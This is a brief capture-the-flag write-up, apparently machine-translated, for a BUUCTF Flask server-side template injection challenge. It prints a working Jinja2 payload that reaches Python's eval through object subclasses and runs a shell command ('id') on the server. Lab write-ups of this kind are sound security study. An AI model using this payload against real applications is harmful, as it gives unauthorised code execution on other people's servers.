当前位置：网站首页>buuctf-[Flask]SSTI

buuctf-[Flask]SSTI

2022-04-22 20:45:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】

There are only Hello guest, There is nothing in the source code , Add packet capture XFF No change .

Yes. GET One parameter name, It's hard to think of

  By the way, sure SSTI Loophole

< Adding letters will be filtered

Smarty The method in can't work

obtain eval Function and execute any python Code POC

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {
   { b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

 

版权声明
本文为[m0_ sixty-two million ninety-four thousand eight hundred and fo]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/04/202204222042464289.html

边栏推荐

猜你喜欢

随机推荐